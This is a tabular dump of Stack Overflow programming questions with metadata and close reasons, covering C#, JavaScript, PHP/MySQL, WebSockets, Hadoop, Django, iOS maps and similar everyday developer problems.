I have a class that just has public properties of services that are already wired up in Windsor. How can I register this class? I only know this pattern: container.Register(Component.For(typeof (IRepository<>)) .ImplementedBy(typeof (Repository<>))); But this class doesn't have an interface, it is the implementation. I am only looking to set this up so the properties are preconfigured when I instantiate it.
c#
castle-windsor
null
null
null
null
open
How to wireup a class that doesn't have an interface === I have a class that just has public properties of services that are already wired up in Windsor. How can I register this class? I only know this pattern: container.Register(Component.For(typeof (IRepository<>)) .ImplementedBy(typeof (Repository<>))); But this class doesn't have an interface, it is the implementation. I am only looking to set this up so the properties are preconfigured when I instantiate it.
0
9,045,041
01/28/2012 11:54:01
1,175,121
01/28/2012 11:40:12
1
0
Posting image to restful web service along with data
<form id="signaturepadform" method="POST" action="http://bd10365a:8080/EnterpriseMobility/Shipment/ItemDelivered" enctype="multipart/form-data"> <!--- The base64 image data exported from canvas. ---> <input type="hidden" name="imageData" value="" id="imagedata"/> <input type="hidden" name="UserName" value="" id="UN"/> <input type="hidden" name="ShipmentNumber" value="" id="ShipmentNumber"/> <input type="submit" data-role="button" id="btnOK" data-inline="true" value="OK" class="black-small" data-theme="a"/> </form> This is my HTML code . I am using post method to post form data into restful web services. I am able to get the data at server side and save it but after saving server will return some JSON format results back to me. I don't know how to catch this result at client side. I am using HTML and javascript. Please help me...
javascript
web-services
rest
null
null
01/30/2012 16:16:17
not a real question
Posting image to restful web service along with data === <form id="signaturepadform" method="POST" action="http://bd10365a:8080/EnterpriseMobility/Shipment/ItemDelivered" enctype="multipart/form-data"> <!--- The base64 image data exported from canvas. ---> <input type="hidden" name="imageData" value="" id="imagedata"/> <input type="hidden" name="UserName" value="" id="UN"/> <input type="hidden" name="ShipmentNumber" value="" id="ShipmentNumber"/> <input type="submit" data-role="button" id="btnOK" data-inline="true" value="OK" class="black-small" data-theme="a"/> </form> This is my HTML code . I am using post method to post form data into restful web services. I am able to get the data at server side and save it but after saving server will return some JSON format results back to me. I don't know how to catch this result at client side. I am using HTML and javascript. Please help me...
1
5,674,611
04/15/2011 09:08:33
709,526
04/15/2011 09:08:33
1
0
Networking ) How GTALK Works?
How does GTALK works? I actually wanted to ask suppose say client A login into Gtalk then it gets the all the available clients list.Suppose say B,C,D etc. When client A send message to the Client B how does it get pass to client B ? Is it via Gtalk server or there is anything else mechanism ? If the clients are behind the firewall or NAT then how does it works? Please reply..
windows-xp
null
null
null
null
04/16/2011 21:55:14
off topic
Networking ) How GTALK Works? === How does GTALK works? I actually wanted to ask suppose say client A login into Gtalk then it gets the all the available clients list.Suppose say B,C,D etc. When client A send message to the Client B how does it get pass to client B ? Is it via Gtalk server or there is anything else mechanism ? If the clients are behind the firewall or NAT then how does it works? Please reply..
2
1,643,349
10/29/2009 12:24:40
28,207
10/15/2008 11:45:55
343
18
Is there any way to find an element in a documentFragment?
var oFra = document.createDocumentFragment(); // oFra.[add elements]; document.createElement("div").id="myId"; oFra.getElementById("myId"); //not in FF How can I get "myId" before attaching fragment to document?
dom
javascript
documentfragment
null
null
null
open
Is there any way to find an element in a documentFragment? === var oFra = document.createDocumentFragment(); // oFra.[add elements]; document.createElement("div").id="myId"; oFra.getElementById("myId"); //not in FF How can I get "myId" before attaching fragment to document?
0
6,892,546
07/31/2011 21:49:18
128,804
06/25/2009 12:27:25
40
5
How to give a 404 error for a http request to an ip address
Let's say I run an Apache web server serving "www.example.com" and "www.another-example.com" at the ip address of 1.2.3.4. How do I accept http traffic at "http://www.example.com" and "http://www.another-example.com" while also returning a 404 error for http requests to "http://1.2.3.4"? Does your solution work with multiple subdomains and multiple virtual hosts?
apache
ip-address
http-status-code-404
null
null
08/01/2011 04:43:20
off topic
How to give a 404 error for a http request to an ip address === Let's say I run an Apache web server serving "www.example.com" and "www.another-example.com" at the ip address of 1.2.3.4. How do I accept http traffic at "http://www.example.com" and "http://www.another-example.com" while also returning a 404 error for http requests to "http://1.2.3.4"? Does your solution work with multiple subdomains and multiple virtual hosts?
2
2,302,212
02/20/2010 12:48:45
133,124
07/04/2009 13:06:33
78
1
What does this OpenCV exactly program do?
I want to know exaclty what this program does: #include <iostream> #include <cv.h> #include <cxcore.h> #include <highgui.h> using namespace std; int main(int argc, char* argv[]) { printf("Hello world\n"); IplImage *img = cvLoadImage("C:/Program Files/OpenCV/samples/c/lena.jpg"); // Create a window cvNamedWindow( "result", CV_WINDOW_AUTOSIZE // allow window to resize to fit image true size ); cvShowImage( "result", img ); // Show image in window already created // Wait for a keystroke. If a positive argument is given, it will wait for // that number of milliseconds and then continue. If 0 is given, the // program will wait indefinitely for a keypress. cvWaitKey(0); // Clean up (not really necessary, but good programming practice) cvReleaseImage( &img ); cvDestroyWindow("result"); system("PAUSE"); return EXIT_SUCCESS; } The reason i'm asking is because I think that a picture is supposed to pop up when I run the program but instead for me, a grey box pops up. I am using Visual c++ express edition 2008. Also when I run the program in release configuration, it thows this error: > fatal error LNK1120: 6 unresolved externals Can someone please shed some light on this problem of mine? Thanks in advance.
visual-c++
opencv
null
null
null
null
open
What does this OpenCV exactly program do? === I want to know exaclty what this program does: #include <iostream> #include <cv.h> #include <cxcore.h> #include <highgui.h> using namespace std; int main(int argc, char* argv[]) { printf("Hello world\n"); IplImage *img = cvLoadImage("C:/Program Files/OpenCV/samples/c/lena.jpg"); // Create a window cvNamedWindow( "result", CV_WINDOW_AUTOSIZE // allow window to resize to fit image true size ); cvShowImage( "result", img ); // Show image in window already created // Wait for a keystroke. If a positive argument is given, it will wait for // that number of milliseconds and then continue. If 0 is given, the // program will wait indefinitely for a keypress. cvWaitKey(0); // Clean up (not really necessary, but good programming practice) cvReleaseImage( &img ); cvDestroyWindow("result"); system("PAUSE"); return EXIT_SUCCESS; } The reason i'm asking is because I think that a picture is supposed to pop up when I run the program but instead for me, a grey box pops up. I am using Visual c++ express edition 2008. Also when I run the program in release configuration, it thows this error: > fatal error LNK1120: 6 unresolved externals Can someone please shed some light on this problem of mine? Thanks in advance.
0
10,369,938
04/29/2012 05:29:24
413,494
08/06/2010 21:26:06
18
2
"Empty response received" on facebook application with correct SSL
When trying to access my facebook application[1] I got the following error: Error while loading page from Testapp Empty response received. My application is hosted by Heroku and has a static page[2], and I'm using Rails. When I try to connect with facebook, nothing is show on the log. When accessing the page from its URL, I got this on the log: 2012-04-29T04:07:16+00:00 heroku[router]: GET cold-fire-1208.herokuapp.com/ dyno=web.1 queue=0 wait=0ms service=4ms status=304 bytes=0 I'm not using any namespace on my facebook application, and the SSL appears to be correctly configured, as you can check on my URL. Also it seems to pass on SSL security tests. To create the app, I started it on facebook, choosed heroku and ruby, and then I got a sinatra application working. After that, I deleted the sinatra application and started a new rails application, configuring the database as pg. Following is my heroku config --long DATABASE_URL => postgres://cantsee FACEBOOK_APP_ID => id FACEBOOK_SECRET => secret GEM_PATH => vendor/bundle/ruby/1.9.1 LANG => en_US.UTF-8 PATH => vendor/bundle/ruby/1.9.1/bin:/usr/local/bin:/usr/bin:/bin:bin RACK_ENV => production SHARED_DATABASE_URL => postgres://cantsee [1] http://apps.facebook.com/testapp/ [2] https://cold-fire-1208.herokuapp.com/
ruby-on-rails
facebook
heroku
null
null
null
open
"Empty response received" on facebook application with correct SSL === When trying to access my facebook application[1] I got the following error: Error while loading page from Testapp Empty response received. My application is hosted by Heroku and has a static page[2], and I'm using Rails. When I try to connect with facebook, nothing is show on the log. When accessing the page from its URL, I got this on the log: 2012-04-29T04:07:16+00:00 heroku[router]: GET cold-fire-1208.herokuapp.com/ dyno=web.1 queue=0 wait=0ms service=4ms status=304 bytes=0 I'm not using any namespace on my facebook application, and the SSL appears to be correctly configured, as you can check on my URL. Also it seems to pass on SSL security tests. To create the app, I started it on facebook, choosed heroku and ruby, and then I got a sinatra application working. After that, I deleted the sinatra application and started a new rails application, configuring the database as pg. Following is my heroku config --long DATABASE_URL => postgres://cantsee FACEBOOK_APP_ID => id FACEBOOK_SECRET => secret GEM_PATH => vendor/bundle/ruby/1.9.1 LANG => en_US.UTF-8 PATH => vendor/bundle/ruby/1.9.1/bin:/usr/local/bin:/usr/bin:/bin:bin RACK_ENV => production SHARED_DATABASE_URL => postgres://cantsee [1] http://apps.facebook.com/testapp/ [2] https://cold-fire-1208.herokuapp.com/
0
433,495
01/11/2009 19:38:34
48,599
12/23/2008 09:45:21
16
0
Suggest terms to describe language proficiency level in your CV
What's the best way to describe your level of skill in particular technologies (languages, platforms, OS, ...) when polishing your CV ? Assume we are talking about the _short CV_ of the kind where you don't spell out every project and system you have worked on in the past, but still want the reader to get a general appreciation of how well you master each topic. Can you suggest a set of labels which is unambiguous but sufficiently general to be understood across the industry?
cv
programming-languages
null
null
null
04/07/2011 15:35:41
off topic
Suggest terms to describe language proficiency level in your CV === What's the best way to describe your level of skill in particular technologies (languages, platforms, OS, ...) when polishing your CV ? Assume we are talking about the _short CV_ of the kind where you don't spell out every project and system you have worked on in the past, but still want the reader to get a general appreciation of how well you master each topic. Can you suggest a set of labels which is unambiguous but sufficiently general to be understood across the industry?
2
4,642,030
01/09/2011 21:44:09
791,865
01/02/2011 15:41:01
9
0
Display XML using PHP
please help me displaying the following XML using PHP. Thank you! <GameStore> <Game> <TYPE>ADVENTURE</TYPE> <TITLE>Batman: Arkham Asylum</TITLE> <PUBLISHER>Eidos</PUBLISHER> </Game> </GameStore>
php
xml
null
null
null
01/09/2011 21:47:08
not a real question
Display XML using PHP === please help me displaying the following XML using PHP. Thank you! <GameStore> <Game> <TYPE>ADVENTURE</TYPE> <TITLE>Batman: Arkham Asylum</TITLE> <PUBLISHER>Eidos</PUBLISHER> </Game> </GameStore>
1
7,054,082
08/14/2011 00:04:35
893,480
08/13/2011 23:42:57
1
0
Why would the makemessages function for Django language localization ignore html files?
I am trying to run the Django language localization on a project, but makemessages always ignores the html templates in my templates folder. I'm running "python manage.py makemessages -a" from the project root, and all of the strings that are marked for translation inside .py files anywhere in the project are successfully added to the .po file. Any of the strings in the html templates, i.e., {{ trans "String_to_translate" }} are ignored and not added to the .po file even though the necessary module is loaded at the top of the template, {% load i18n %}. To test the possibility that the whole template folder was excluded from the makemessages function, I made a .py file and included a string for translation there, and it was successfully added to the .po file. With all of that being said, does anyone know what could possibly be causing this problem? Thanks in advance for your help!
python
django
localization
null
null
null
open
Why would the makemessages function for Django language localization ignore html files? === I am trying to run the Django language localization on a project, but makemessages always ignores the html templates in my templates folder. I'm running "python manage.py makemessages -a" from the project root, and all of the strings that are marked for translation inside .py files anywhere in the project are successfully added to the .po file. Any of the strings in the html templates, i.e., {{ trans "String_to_translate" }} are ignored and not added to the .po file even though the necessary module is loaded at the top of the template, {% load i18n %}. To test the possibility that the whole template folder was excluded from the makemessages function, I made a .py file and included a string for translation there, and it was successfully added to the .po file. With all of that being said, does anyone know what could possibly be causing this problem? Thanks in advance for your help!
0
8,872,480
01/15/2012 19:06:42
521,070
10/23/2010 15:30:48
1,295
5
How to find words in a table?
This is a coding exercise. Suppose there is a table of letters and a number of words. I have to find positions of the words in the table. A word may begin anywhere in the table and may be oriented either vertically of horizontally. (We can assume that a row/column may contain only one word). For example: <pre> table = xabcx xxxdx xxfex words = ["abc", "edc", "fe"] expected output is (0,1), (2,3), (2,2) </pre> The straightforward solution is to loop over all rows/columns and check if the row/column contains any of the words. It takes `O(number of columns * number of rows * number of words * word length)`. Is there a better solution? Maybe I should pre-process the words list to build a more efficient data structure?
string
algorithm
language-agnostic
data-structures
null
null
open
How to find words in a table? === This is a coding exercise. Suppose there is a table of letters and a number of words. I have to find positions of the words in the table. A word may begin anywhere in the table and may be oriented either vertically of horizontally. (We can assume that a row/column may contain only one word). For example: <pre> table = xabcx xxxdx xxfex words = ["abc", "edc", "fe"] expected output is (0,1), (2,3), (2,2) </pre> The straightforward solution is to loop over all rows/columns and check if the row/column contains any of the words. It takes `O(number of columns * number of rows * number of words * word length)`. Is there a better solution? Maybe I should pre-process the words list to build a more efficient data structure?
0
4,626,356
01/07/2011 14:18:39
566,978
01/07/2011 14:10:10
1
0
Chaining multiple mapreduce tasks in Hadoop streaming
I am in scenario where i have got two mapreduce jobs. I am more comfortable with python and planning to use it for writing mapreduce scripts and use hadoop streaming for the same. is there a convenient to chain both the jobs following form when hadoop streaming is used? Map1 -> Reduce1 -> Map2 -> Reduce2 I've heard a lot of methods to accomplish this in java, But i need something for Hadoop streaming.
python
hadoop
mapreduce
hadoop-plugins
null
null
open
Chaining multiple mapreduce tasks in Hadoop streaming === I am in scenario where i have got two mapreduce jobs. I am more comfortable with python and planning to use it for writing mapreduce scripts and use hadoop streaming for the same. is there a convenient to chain both the jobs following form when hadoop streaming is used? Map1 -> Reduce1 -> Map2 -> Reduce2 I've heard a lot of methods to accomplish this in java, But i need something for Hadoop streaming.
0
5,757,388
04/22/2011 16:08:41
342,620
03/11/2009 17:18:29
28
4
Subtracting duration from dateTime in XQuery
I have the following, which from my reading of the O'Reilly XQuery book seems like it should work: let $now := current-dateTime() let $month := xs:duration("P30D") let $month_ago := $now - $month return $month_ago But it returns the error "Invalid type for operator." What am I doing wrong?
cocoa
xquery
nsxml
null
null
null
open
Subtracting duration from dateTime in XQuery === I have the following, which from my reading of the O'Reilly XQuery book seems like it should work: let $now := current-dateTime() let $month := xs:duration("P30D") let $month_ago := $now - $month return $month_ago But it returns the error "Invalid type for operator." What am I doing wrong?
0
9,040,315
01/27/2012 21:28:02
770,019
05/25/2011 17:12:19
46
0
EC2 EBS Snapshots as Incremental Backups
I understand that AWS snapshots can create incremental backups of EBS volumes. Does AWS automatically handle the incremental part (i.e., storing only what has changed) as long as snapshots are generated from the same volume? It's unclear to me because they do not list the actual size of the snapshots or allow you to view them in S3 (as far as I know). There is no indication snapshots are related other than the volume they were created from. Couldn't any snapshots made (including the first) just be considered an increment on the original AMI? I would be interested to know if this how they actually implement this or if the first snapshot is a completely independent image stored in my personal S3 account.
amazon-web-services
null
null
null
null
01/30/2012 19:36:42
off topic
EC2 EBS Snapshots as Incremental Backups === I understand that AWS snapshots can create incremental backups of EBS volumes. Does AWS automatically handle the incremental part (i.e., storing only what has changed) as long as snapshots are generated from the same volume? It's unclear to me because they do not list the actual size of the snapshots or allow you to view them in S3 (as far as I know). There is no indication snapshots are related other than the volume they were created from. Couldn't any snapshots made (including the first) just be considered an increment on the original AMI? I would be interested to know if this how they actually implement this or if the first snapshot is a completely independent image stored in my personal S3 account.
2
3,434,020
08/08/2010 10:50:54
235,267
12/19/2009 21:08:08
84
2
mkmapview zoom to bounds with multiple markers
I'm working with MKMapView and have plotted several points on the map. I have used the MKCoordinateRegion and MKCoordinateSpan to enable zooming etc around one of the points - but that's not what I want... I'm trying to use something similar to the Javascript zoom to bounds function. so all my points should be visible to the user. (There will be around 10 points around the UK) I'd like to show them all, or if most of them were in the London area, zoom to there. Is there a way to work this out programatically?
iphone
mkmapview
null
null
null
null
open
mkmapview zoom to bounds with multiple markers === I'm working with MKMapView and have plotted several points on the map. I have used the MKCoordinateRegion and MKCoordinateSpan to enable zooming etc around one of the points - but that's not what I want... I'm trying to use something similar to the Javascript zoom to bounds function. so all my points should be visible to the user. (There will be around 10 points around the UK) I'd like to show them all, or if most of them were in the London area, zoom to there. Is there a way to work this out programatically?
0
11,288,125
07/02/2012 05:21:57
1,495,180
07/02/2012 05:19:10
1
0
PHP Programming
i need a help that how to replace the query string values as user defined value.. Ex.. i want to change http://www.example.com/demo/beta/service1.php?cat=wd to http://www.example.com/demo/beta/webdevelopment.php.. i will pass the value as service1.php?cat=wd but while it printing it want to change as webdevelopment.php
php
null
null
null
null
07/21/2012 20:17:18
not a real question
PHP Programming === i need a help that how to replace the query string values as user defined value.. Ex.. i want to change http://www.example.com/demo/beta/service1.php?cat=wd to http://www.example.com/demo/beta/webdevelopment.php.. i will pass the value as service1.php?cat=wd but while it printing it want to change as webdevelopment.php
1
10,442,502
05/04/2012 03:59:07
1,252,148
03/06/2012 12:10:59
3
0
save substring from a string in XCODE
i am having a string like: funcname("data"),comes from upstairs.now i want to save the funcname, data in two NSString variables. so can any one please tell me how to do this....
objective-c
xcode
nsstring
stringwithformat
null
05/04/2012 08:39:09
not a real question
save substring from a string in XCODE === i am having a string like: funcname("data"),comes from upstairs.now i want to save the funcname, data in two NSString variables. so can any one please tell me how to do this....
1
7,598,650
09/29/2011 14:13:47
798,198
06/14/2011 17:42:42
761
40
Commons email example hanging on send()
I'm trying to get [this example][1] for the Apache Commons email library to work. Here is my code: SimpleEmail email = new SimpleEmail(); email.setHostName("smtp.gmail.com"); email.setSmtpPort(465); email.setAuthenticator(new DefaultAuthenticator("username@gmail.com", password")); email.setTLS(true); try { email.setFrom("username@gmail.com"); email.setSubject("TestMail"); email.setMsg("This is a test mail ... :-)"); email.addTo("username@gmail.com"); System.out.println("Sending..."); email.send(); System.out.println("Email sent!"); } catch (Exception e) { System.out.println("Email not sent!"); e.printStackTrace(); } As you can see it's basically unchanged from the example, except I have to use port 465 instead of 587 because 587 causes a `Connection refused` exception (based on [this question][2]). Now this code is hanging on the `email.send()` line. The only output I get is: Sending... with no exceptions or anything. So what the heck? Do I need to open a port in my firewall? (I can't actually do that as I'm trying to do this from work =/). Thanks! [1]: http://commons.apache.org/email/userguide.html [2]: http://stackoverflow.com/questions/1783710/sending-an-email-using-commons-email-to-gmail
java
email
apache-commons
null
null
null
open
Commons email example hanging on send() === I'm trying to get [this example][1] for the Apache Commons email library to work. Here is my code: SimpleEmail email = new SimpleEmail(); email.setHostName("smtp.gmail.com"); email.setSmtpPort(465); email.setAuthenticator(new DefaultAuthenticator("username@gmail.com", password")); email.setTLS(true); try { email.setFrom("username@gmail.com"); email.setSubject("TestMail"); email.setMsg("This is a test mail ... :-)"); email.addTo("username@gmail.com"); System.out.println("Sending..."); email.send(); System.out.println("Email sent!"); } catch (Exception e) { System.out.println("Email not sent!"); e.printStackTrace(); } As you can see it's basically unchanged from the example, except I have to use port 465 instead of 587 because 587 causes a `Connection refused` exception (based on [this question][2]). Now this code is hanging on the `email.send()` line. The only output I get is: Sending... with no exceptions or anything. So what the heck? Do I need to open a port in my firewall? (I can't actually do that as I'm trying to do this from work =/). Thanks! [1]: http://commons.apache.org/email/userguide.html [2]: http://stackoverflow.com/questions/1783710/sending-an-email-using-commons-email-to-gmail
0
5,517,185
04/01/2011 18:14:54
688,074
04/01/2011 18:13:56
1
0
.net Forms vs .net Service performance
Which one will perform better and why? I gut is going with a windows service, however I would like to build a UI for a server admin. How much is a win form server going to cost me if anything?
c#
.net
windows-services
null
null
04/01/2011 18:22:25
not a real question
.net Forms vs .net Service performance === Which one will perform better and why? I gut is going with a windows service, however I would like to build a UI for a server admin. How much is a win form server going to cost me if anything?
1
4,476,884
12/18/2010 06:03:39
546,823
12/18/2010 06:03:39
1
0
Program for sequencing audio files
OK I am no programmer but a musician - searching for a program that will enable audio files which would be parts of a song (for example Intro, Verse1, Bridge1, Chorus , Verse 2 , bridge 2, Solo, verse 3 , Outro). It should be possible to switch each part into looping and then switch off the looping so it plays out and moves on to the next part. The switching on and off of the looping to be by a hardware switch (USB?) It would appear that playing audio files according to a playlist is already doable, this is jus another variation. Has anyone done this or is prepared to do this? Many Thanks
audio
sequence
repeat
playback
null
12/20/2010 01:30:50
off topic
Program for sequencing audio files === OK I am no programmer but a musician - searching for a program that will enable audio files which would be parts of a song (for example Intro, Verse1, Bridge1, Chorus , Verse 2 , bridge 2, Solo, verse 3 , Outro). It should be possible to switch each part into looping and then switch off the looping so it plays out and moves on to the next part. The switching on and off of the looping to be by a hardware switch (USB?) It would appear that playing audio files according to a playlist is already doable, this is jus another variation. Has anyone done this or is prepared to do this? Many Thanks
2
6,134,886
05/26/2011 07:01:26
770,827
05/26/2011 07:01:26
1
0
C Programming Question..
I Have a portion of code in my C Program Like "table = get_result("SELECT category_id,category_name from cust_dtls;");" I want to know that what did the get_result Function doing in this Context? Please Help me out...
c
null
null
null
null
05/26/2011 07:05:33
not a real question
C Programming Question.. === I Have a portion of code in my C Program Like "table = get_result("SELECT category_id,category_name from cust_dtls;");" I want to know that what did the get_result Function doing in this Context? Please Help me out...
1
3,633,739
09/03/2010 07:18:23
30,674
10/23/2008 06:54:58
5,962
154
How can i dynamically change the time (which is plain text) using JavaScript or JQuery?
[on this website][1] the textual time is dynamically updated .. i'm guessing using javascript. this is the html code, using Firebug to inspect the page ... <strong class="big" id="ct">Friday, 3 September 2010 at 8:17:21 AM</strong> with that time value incremementing each second. I'm guessing some javascript updates the 'ct' element .. but I can't find the code to how that's done? Can anyone help? [1]: http://www.timeanddate.com/worldclock/city.html?n=136
javascript
jquery
null
null
null
null
open
How can i dynamically change the time (which is plain text) using JavaScript or JQuery? === [on this website][1] the textual time is dynamically updated .. i'm guessing using javascript. this is the html code, using Firebug to inspect the page ... <strong class="big" id="ct">Friday, 3 September 2010 at 8:17:21 AM</strong> with that time value incremementing each second. I'm guessing some javascript updates the 'ct' element .. but I can't find the code to how that's done? Can anyone help? [1]: http://www.timeanddate.com/worldclock/city.html?n=136
0
9,101,055
02/01/2012 18:17:20
1,183,385
02/01/2012 18:02:29
1
0
How can i add automatic post to user wall by an app?
I have created an app that let the user to select a photo. I want that when te user click to select a photo that photo to be published in their wall, after that them has aproved the app. App link is https://apps.facebook.com/emrijuaj/ I have created it with a php random, and setup to heroku servers. Who can help me????
facebook
facebook-graph-api
facebook-connect
null
null
03/23/2012 12:26:54
not a real question
How can i add automatic post to user wall by an app? === I have created an app that let the user to select a photo. I want that when te user click to select a photo that photo to be published in their wall, after that them has aproved the app. App link is https://apps.facebook.com/emrijuaj/ I have created it with a php random, and setup to heroku servers. Who can help me????
1
9,673,439
03/12/2012 19:21:37
1,264,817
03/12/2012 18:15:27
1
0
Handshake doesn't work on Safari, but works on Chrome
I've found a problem trying to test a websocket application. My server is written in Delphi 7, and I try to connect a client browser to it. I know that Chrome uses the "draft-ietf-hybi-thewebsocketprotocol-06" protocol, and Safari uses the "draft-ietf-hybi-thewebsocketprotocol-00" one. So, I've done the specifics for both. So, when i run the client code on Chrome, it works fine, e I got the handshake to be accepted by the browser. After that, I can send and receive messages from and to both sides. But, when I run the same client code with a Safari browser, it doesn't work at all. I got the handshake from the browser on my server, like this: GET / HTTP/1.1 #$D#$A Upgrade: WebSocket #$D#$A Connection: Upgrade #$D#$A Host: 192.168.0.1:5050 #$D#$A Origin: http://192.168.0.1 #$D#$A Cookie: PHPSESSID=87i5k8n2f2i6e05sesmgvv9q82 #$D#$A Sec-WebSocket-Key1: 133r 170600 u j5 #$D#$A Sec-WebSocket-Key2: 6"3 7# "' 9 Z0v7Vo 011 : #$D#$A #$D#$A q¯×/­“#$11ï So, my server answers: HTTP/1.1 101 WebSocket Protocol Handshake #$D#$A Upgrade: WebSocket #$D#$A Connection: Upgrade #$D#$A Sec-WebSocket-Origin: http://192.168.0.1 #$D#$A Sec-WebSocket-Location: ws://192.168.0.1:5050/ #$D#$A Sec-WebSocket-Protocol: chat #$D#$A #$D#$A ñˆñ ÷æD‡Tí#0d+ãó- It seems that it's all Ok! But the client doesn't accept the answer and closes the connection immediately. The first thing that came into my mind was there were something wrong with my handshake answer to Safari (draft-ietf-hybi-thewebsocketprotocol-00). But, searching on web, I found the WebSocket.org website, where they have the "Echo Test" ( http://www.websocket.org/echo.html ). The most curious I've found, doing the normal test, both Chrome and Safari worked fine. But, saving the sample code that there is on the page, and running it local, even connecting to the WebSocket server, Safari doesn't work too. So, I imagine that there is something different with Safari. Can anyone, please, save the code below and run it into both browsers (Safari and Chrome) and check it out if it works on both? And, does anyone know what happens? <!DOCTYPE html> <meta charset="utf-8" /> <title>WebSocket Test</title> <script language="javascript" type="text/javascript"> var wsUri = "ws://echo.websocket.org/"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.onerror = function(evt) { onError(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend("WebSocket rocks"); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) { writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>'); websocket.close(); } function onError(evt) { writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data); } function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); } function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener("load", init, false); </script> <h2>WebSocket Test</h2> <div id="output"></div> </html> Thanks!
safari
websocket
handshake
null
null
null
open
Handshake doesn't work on Safari, but works on Chrome === I've found a problem trying to test a websocket application. My server is written in Delphi 7, and I try to connect a client browser to it. I know that Chrome uses the "draft-ietf-hybi-thewebsocketprotocol-06" protocol, and Safari uses the "draft-ietf-hybi-thewebsocketprotocol-00" one. So, I've done the specifics for both. So, when i run the client code on Chrome, it works fine, e I got the handshake to be accepted by the browser. After that, I can send and receive messages from and to both sides. But, when I run the same client code with a Safari browser, it doesn't work at all. I got the handshake from the browser on my server, like this: GET / HTTP/1.1 #$D#$A Upgrade: WebSocket #$D#$A Connection: Upgrade #$D#$A Host: 192.168.0.1:5050 #$D#$A Origin: http://192.168.0.1 #$D#$A Cookie: PHPSESSID=87i5k8n2f2i6e05sesmgvv9q82 #$D#$A Sec-WebSocket-Key1: 133r 170600 u j5 #$D#$A Sec-WebSocket-Key2: 6"3 7# "' 9 Z0v7Vo 011 : #$D#$A #$D#$A q¯×/­“#$11ï So, my server answers: HTTP/1.1 101 WebSocket Protocol Handshake #$D#$A Upgrade: WebSocket #$D#$A Connection: Upgrade #$D#$A Sec-WebSocket-Origin: http://192.168.0.1 #$D#$A Sec-WebSocket-Location: ws://192.168.0.1:5050/ #$D#$A Sec-WebSocket-Protocol: chat #$D#$A #$D#$A ñˆñ ÷æD‡Tí#0d+ãó- It seems that it's all Ok! But the client doesn't accept the answer and closes the connection immediately. The first thing that came into my mind was there were something wrong with my handshake answer to Safari (draft-ietf-hybi-thewebsocketprotocol-00). But, searching on web, I found the WebSocket.org website, where they have the "Echo Test" ( http://www.websocket.org/echo.html ). The most curious I've found, doing the normal test, both Chrome and Safari worked fine. But, saving the sample code that there is on the page, and running it local, even connecting to the WebSocket server, Safari doesn't work too. So, I imagine that there is something different with Safari. Can anyone, please, save the code below and run it into both browsers (Safari and Chrome) and check it out if it works on both? And, does anyone know what happens? <!DOCTYPE html> <meta charset="utf-8" /> <title>WebSocket Test</title> <script language="javascript" type="text/javascript"> var wsUri = "ws://echo.websocket.org/"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.onerror = function(evt) { onError(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend("WebSocket rocks"); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) { writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>'); websocket.close(); } function onError(evt) { writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data); } function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); } function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener("load", init, false); </script> <h2>WebSocket Test</h2> <div id="output"></div> </html> Thanks!
0
7,186,622
08/25/2011 07:33:17
911,452
08/25/2011 07:33:17
1
0
Twilight theme for Netbeans 7
Is there a working Twilight theme for Netbeans 7? The one from nettutst doesn't work in Netbeans 7, just Netbeans 6.
netbeans
themes
null
null
null
08/25/2011 13:52:00
off topic
Twilight theme for Netbeans 7 === Is there a working Twilight theme for Netbeans 7? The one from nettutst doesn't work in Netbeans 7, just Netbeans 6.
2
3,278,628
07/19/2010 05:21:20
357,189
06/03/2010 07:13:00
41
1
Detect MAC Addresses? - via browser, without a plugin
For validation purposes, is there a way to detect a user's mac address as they're signing up on a webpage, for example? I'd prefer a LAMP approach, but also open to ASP.NET possibilities.
validation
browser
mac-address
null
null
null
open
Detect MAC Addresses? - via browser, without a plugin === For validation purposes, is there a way to detect a user's mac address as they're signing up on a webpage, for example? I'd prefer a LAMP approach, but also open to ASP.NET possibilities.
0
4,382,131
12/07/2010 22:06:06
500,778
11/08/2010 14:43:20
1
0
PHP+mySQL trouble. supplied argument is not a valid MySQL result resource
everyone. My error is on my while loop. I've had to add a @ to it to make it stop giving me the warning. It works just fine. Everything updates perfectly. But, rather than kludge it, I'd really like to not to have to hide my errors. I just have no idea what is wrong with it. Like I said, my while loop (line 113) is giving me this: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/xx/xxxxxxx/xxx/admin/price_chng.php on line 113 Here's the code. if($manu < 15){ $row_count = 0; $query = "SELECT * FROM `phone_models` WHERE `manufacture_id`=" . $manu . ";"; $result = mysql_query($query); while($row = mysql_fetch_array($result)){ if($row_count < 5){ echo ("<form action='price_chng.php' method='post' name='newprice' id=" . $row['id'] . ">"); echo "<td>" . $row['label'] . "<br>"; echo("<input name='newprice' type='text' id=" . $row['id'] . " size='10' value=" . $row['buyback_price'] . "><br>"); echo("<input type='hidden' name='ud_id' value='$row[id]'>"); echo("<input name='doSave' type='submit' id='doSave' value='Save'></form></td>"); $row_count++; }else{ $row_count = 0; echo("</tr><tr>"); } } }else{ echo("</tr></td>"); } Any help is appreciated! Thanks, guys!
php
mysql
null
null
null
null
open
